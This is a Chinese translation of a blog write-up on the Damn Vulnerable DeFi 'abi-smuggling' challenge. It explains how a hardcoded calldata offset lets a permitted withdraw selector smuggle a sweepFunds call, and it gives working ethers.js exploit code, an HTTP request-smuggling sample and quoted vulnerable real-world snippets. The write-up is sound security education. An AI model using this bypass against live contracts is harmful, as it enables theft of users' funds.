本文详细讲解了如何通过ABI smuggling漏洞在DamnVulnerableDefi挑战中绕过权限控制并窃取资金,利用Solidity中的calldata结构缺陷实现攻击。
这篇文章将属于一个系列,专注于对我感兴趣的 Solidity 挑战进行深入解读。
信息图解决方案的第一部分
如果你只是为了信息图而来, 这里是 。 享受吧!
· 介绍
· 挑战
∘ 描述
∘ 代码
· 漏洞
· 利用
∘ 故事的教训
∘ 有效的利用
Abi-Smuggler,基于 depositphotos.com 的库存图片
嗨!欢迎回到我另一篇教育内容。
这次我给你带来一些新的东西,或是我还未见过的解决方案,更别提这么细致的研究。我在说的就是新的 DamnVulnerableDefi 挑战,标题为 abi-smuggling。
它让我想起经典的 http-smuggling 攻击,在这种攻击中,你可以将一个 HTTP 请求包裹在另一个请求中。
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
当然,我不会轻视这个标题!
因为这一次我要主要专注于详细说明攻击本身,我们不会对整个练习进行全面的深入分析。
如果因此让你失望我感到抱歉 😔,但我保证,当你理解这个漏洞所在时,你会喜欢我为你准备的图形~!
你知道的,检查一下描述 这个挑战 吧。
有一个有权限的库存,存有 100 万 DVT 代币。该库允许定期提取资金,并在紧急情况下提取所有资金。
合约内嵌了通用授权机制,仅允许已知账户执行特定操作。
开发团队收到了负责任的披露,表示所有资金都可以被盗。
在为时已晚之前,从库中拯救所有资金,将其转移回恢复账户。
好的,听起来不错。
我们有一个方案,在其中我们将被授权(或未被授权)执行一些功能,并且应该以某种方式被破坏。
我们需要找出如何,以及利用这一点将所有资金从库中转移到给定的恢复账户。
正如我所说,我会努力在不断强化对这一挑战的认知,这将允许我区分大部分代码并更快速地找到漏洞。
我将以简化的方式发布 SelfAuthorizedVault.sol 代码,以便使事情更简单。
注意:我正在尝试 Medium 的代码块,因此请不要在意 Solidity 代码上的 TypeScript 语法高亮。
contract SelfAuthorizedVault is AuthorizedExecutor {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;
uint256 private _lastWithdrawalTimestamp = block.timestamp;
function withdraw(address token, address recipient, uint256 amount) external onlyThis {
if (amount > WITHDRAWAL_LIMIT) {
revert InvalidWithdrawalAmount();
}
if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
revert WithdrawalWaitingPeriodNotEnded();
}
_lastWithdrawalTimestamp = block.timestamp;
SafeTransferLib.safeTransfer(token, recipient, amount);
}
function sweepFunds(address receiver, IERC20 token) external onlyThis {
SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _beforeFunctionCall(address target, bytes memory) internal view override {
if (target != address(this)) {
revert TargetNotAllowed();
}
}
}
很不错!让我们看看我们可以如何快速排除没有漏洞的部分。
getLastWithdrawalTimestamp()
只是一个获取器 ✅。_beforeFunctionCall()
是一个内部视图函数,它仅检查 target
不是该合约的地址 ✅。sweepFunds()
看起来是最有问题的部分,因为它基本上允许将所有代币从 vault
转移到 receiver
。尽管如此,它只是简单地调用 safeTransfer()
从 solady
(Solidity 性能优化片段)。这不是 OZ 的库,但很安全,相信我 ✅。withdraw()
。再一次,背后只有非常简单的逻辑。也使用 safeTransfer()
限制每 15 天提取 1 个 ether。因此,除非我们可以控制 🕑 block.timestamp
,否则这应该是安全的 ✅。让我们继续巡视它的父 抽象 合约 AuthorizedExecutor。
由于我们仅有两个合约,我猜测漏洞在这个合约中,因此我们将其分开。
abstract contract AuthorizedExecutor is ReentrancyGuard {
using Address for address;
bool public initialized;
// 操作标识符 => 允许
mapping(bytes32 => bool) public permissions;
function _beforeFunctionCall(address target, bytes memory actionData) internal virtual;
function getActionId(bytes4 selector, address executor, address target) public pure returns (bytes32) {
return keccak256(abi.encodePacked(selector, executor, target));
}
// 后续代码
}
_beforeFunctionCall
在这里没有被实现,所以这部分是好的 ✅。
_getActionId()
从三个参数的组合返回 keccak256 哈希。这通过 ABI(👀)使用 encodePacked
实现。
你知道,使用 ABI 显式编码有两种方式。一种是 .encode()
,另一种是 .encodePacked()
。但后者有一些注意事项。
让我们用一个简单的例子来解释。如果出于某种原因你想检查编码的结果是否为 secretPassword
。而且这是通过一个接收两个参数的函数进行的。
function check(string arg1, string arg2) returns (bool) external {
return ("secretPassword" == abi.encodePacked(arg1, arg2));
}
这使得调用者可以获得大量组合来达到相同的结果。
为什么?
因为将 se
编码到 cretPassword
中,将等价于用 secretPassword
编码一个 empty
字符串,而也等价于将 secretPasswor
编码为 d
。你看到了吗?
我将留给你文档中的警告,然后我将尝试通过实际代码进行解释。
要了解它们之间的区别,可以前往官方文档中的 非标准打包模式。
唯一调用 getActionId
的地方在代码很前面,但看一下它的使用方式,我们可以判断我们是否可以操控其结果。
getActionId(selector, msg.sender, target)
如果我们假设能够控制 selector
和 target
,那么我们就无法选择 msg.sender
的 20 字节地址的大小或详细信息。
它的 (1) 正好处于中间 (2) 大小固定 (3) 我们无法完全控制其组成。
到此我当前的分析结束 ✅。
下面的代码有一个 unchecked
引起了我的兴趣。
function setPermissions(bytes32[] memory ids) external {
if (initialized) {
revert AlreadyInitialized();
}
for (uint256 i = 0; i < ids.length;) {
unchecked {
permissions[ids[i]] = true;
++i;
}
}
initialized = true;
emit Initialized(msg.sender, ids);
}
但这只是一个时空开销的优化。它移除了越界检查,这似乎是不必要的——这条检查——因为 i
永远不会大于数组的长度,所以这是一个好的选择。
它只能被初始化一次,并且在本挑战的上下文中,它已经被初始化 ✅。
一切都显示剩下的函数 必须 是易受攻击的。否则,我们可能漏掉了什么 😅(不是第一次 😜)。
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// 读取 `actionData` 开头的 4 字节选择器
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // @audit 堆栈数据偏移 @audit-issue
assembly {
selector := calldataload(calldataOffset) // 从 100 字节偏移中加载 32 字节
}
if (!permissions[getActionId(selector, msg.sender, target)]) { // @audit 绕过这一点
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
总的来说,这个函数使用 functionCall
(扩展了 target
的功能) 来执行函数调用,当 actionData
中的函数选择器被允许(授权)给 msg.sender
时。
它表面上优化了获取 actionData
的前 4 字节选择器的方式,而不必执行类似子字符串或者位移的操作。
显然,这个函数最不透明的部分是汇编代码,尽管假设 calldataOffset
是正确的,selector
将被正确赋值。
现在你应该问自己这个问题:
我们能否假设 calldataOffset
计算正确?
这个问题的简短答案是:不。
信息图的第二部分
如果你更偏向于视觉且认为你已经理解了这一切,可以查看 信息图,然后跳到利用部分查看有效代码。
如果你感觉需要更多上下文,继续阅读吧,我的同行黑客。
让我们看看为什么。
首先,你需要了解 ABI 是如何工作的,至少在本场景中要达到一定程度的理解。
为此,我强烈建议你阅读并尽量理解文档中的这一部分:ABI 规范 — 函数选择器和参数编码。
tl;dr 版本的上述链接说,calldata
,即在交易中实际发送的数据,通过将要触发的函数选择器与所有参数连接在一起编码。
如果你想查看示例,这里有一笔随机交易,我在 Etherscan 获取的:
0xcb2beb9811f9f60417dcea3393ee08c9492638fe959924e07f7c5f19cefecb88
在 输入数据 部分,你可以清楚地看到以下内容:
Function: approve(address spender, uint256 amount)
MethodID: 0x095ea7b3
[0]: 000000000000000000000000000000000022d473030f116ddee9f6b43ac78ba3
[1]: ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
MethodID 代表 funcsig 或 函数选择器,是函数头前 4 个字节的 keccak256
,在本例中是 approve(address,uint256)
的选择器。尝试自己在 CyberChef&input=YXBwcm92ZShhZGRyZXNzLGFtb3VudCk) 试试。
因此,前 32 字节是 20 字节的 address
的 spender
,后面 12 字节是填充以填充其余空间。接下来是批准的数量 MAX_INT
或 2^256-1
。
这是一个更容易的情况,因为两个参数都是静态类型!
但是当你有 动态分配结构,例如字符串或数组时,会发生什么呢?
当有动态分配类型时,你需要在 32 字节段中指定大小、长度或数量(预期元素的数量),以便让合约了解该结构延续到何处。 随立即而来的是内容。
因此,假设我们有一个函数签名 0xcafebabe
,其有两个参数:一个 bytes id
和一个 uint256 amount
。如果我们以 (0x1337, 3) 的形式调用它,那么 calldata
应该看起来像这样。
0x
funcsig
bytes 偏移位置 (id)
uint256 的值 (amount)
bytes 的大小 (id)
bytes 的内容 (id)
将它们替换为实际表示形式的代码片段如下。
0x
cafebabe -> funcsig
0000000000000000000000000000000000000040 -> 0x40 = 64 字节偏移
0000000000000000000000000000000000000003 -> 3 (amount)
0000000000000000000000000000000000000004 -> 4 字节 (len(id))
0000000000000000000000000000000000001337 -> 1337 (id)
很好!既然现在一切都清楚了,那么我将直接展示我为此目的设计的一些图形。
这是当前的 calldata
布局,适用于这个挑战 execute
函数的正常执行。
信息图解决方案的第一部分截图 #1
信息图解决方案的第二部分截图 #2
但如果我们手动构造 calldata,进行原始调用,并改变 actionData
bytes 结构的偏移位置会发生什么呢?💭
它将不再是硬编码的 callDataOffset
要查找的位置!
好的,好的,听我说。
如果我们将一个被允许的函数的函数选择器,如 withdraw
的 0xd9caed12,保持在预期的位置并且我们可以自由填充 actionData
呢?
概念验证的可视化
我感觉要出问题了!
让我们直到目前为止,回顾一下 calldata
的布局。
我们所知道的布局
很好。现在我们只需要生成实际的 actionData
内容,它将通过 functionCall(actionData)
调用执行。
强烈依赖于对静态位置的检查的清晰可操作的 calldata 提供了一种很好的绕过权限的方法,使我们无论如何都能够执行所需的内容。在这个情况下,sweepFunds
便是用来执行此操作。
总之,为了使利用有效,我们只需要:
(4 + 32 * 3)
的4字节中有一个管理员授权的函数选择器。在我们的例子中,player
被授权使用 withdraw。actionData
的大小和内容,包含有效的 calldata (sweepFunds)
以将库存转移到恢复地址。actionData
的起点指向新位置。有效利用的布局。
这是如何开始的。
从默认的生成的 calldata 布局,到我们自己构造的布局。
最后的结果。
sweepFunds
被隐蔽在 withdraw 的 funcsig 后以触发旁路。
被隐蔽的 !
使用汇编与 ABI 交互都是乐趣无穷,直到有人把一个利用通过你的面前悄悄地推走。
好吧,也许有点太苛刻了。我们再试一次。
使用汇编有其注意事项,特别是在与 ABI 交互时,未经全面理解可能会带来潜在后果。
如果而不是这样做:
uint256 calldataOffset = 4 + 32 * 3;
assembly {
selector := calldataload(calldataOffset)
}
我这样做会使这一利用无效吗?
uint256 actionDataOffset = 4 + 32;
assembly {
selector := calldataload(calldataload(actionDataOffset)))
}
在评论中告诉我你的想法!
这是解决挑战的代码。
你可以在我的仓库 @mattaereal/damn-vulnerable-defi-solutions 中找到 一份更详细和注释丰富的解决方案 — 包括我思考过程中的附加测试,我感到很曝光 😅。
(关于该仓库的注释:我现在正在整合 v2 解决方案与 v3 变更)。
fragment = await vault.interface.getFunction("execute");
executeFs = await vault.interface.getSighash(fragment);
vaultAddr = await ethers.utils.hexZeroPad(vault.address, 32);
fragment = await vault.interface.getFunction("withdraw");
withdrawFs = await vault.interface.getSighash(fragment);
nops = await ethers.utils.hexZeroPad("0x0", 32);
exploitOffset = await ethers.utils.hexZeroPad("0x64", 32);
exploitSize = await ethers.utils.hexZeroPad("0x44", 32);
exploit = await vault.interface.encodeFunctionData("sweepFunds", [recovery.address, token.address]);
padding = await ethers.utils.hexZeroPad("0x0", 24);
actionData = await ethers.utils.hexConcat([exploitOffset, nops, withdrawFs, exploitSize, exploit, padding])
calldata = await ethers.utils.hexConcat([executeFs, vaultAddr, actionData])
await player.sendTransaction({ to: vault.address, data: calldata })
我想感谢 @tinchoabbate 提供的以下链接,其中 非常相似 — 并非同样 — 不同于我们在此挑战中利用的漏洞也被报告过。
1. MIMOProxy:execute 中访问控制不当实现
if (owner != msg.sender) {
bytes4 selector;
assembly {
selector := calldataload(data.offset)
}
if (!_permissions[msg.sender][target][selector]) {
revert CustomErrors.EXECUTION_NOT_AUTHORIZED(owner, msg.sender, target, selector);
}
}
2. balancer-v2-monorepo 中的 AuthorizedAdaptor.sol
assembly {
// encoded in `data` 的函数选择器相对 msg.data 开始的位置为:
// - 由于 performAction 的函数选择器占用 4 个字节
// - 目标和数据的长度及偏移占用 96 字节 (3 * 32 = 96 字节)
// 96 + 4 = 100 字节
selector := calldataload(100)
}
// 注意:`TimelockAuthorizer` 特殊情况下调用 `AuthorizerAdaptor`,因此行动 ID
// 和目标值将被完全忽略。以下检查只有在调用者是 `AuthorizerAdaptorEntrypoint` 时会通过,
// 它已经会以相应地检查权限。
_require(_canPerform(getActionId(selector), msg.sender, target), Errors.SENDER_NOT_ALLOWED);
//我们并没有检查 `target` 是否是一个合约,因此所有对 EOA 的调用都将成功。
return target.functionCallWithValue(data, msg.value);
你看到了吗?并非所有这些都是虚构的!😲
— — —
感谢你的阅读!我叫 Matt,我在学习如何让以太坊更安全。 我将不时分享一些内容。
在推特上关注我 @mattaereal _。
- 原文链接: medium.com/@mattaereal/d...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,在这里修改,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!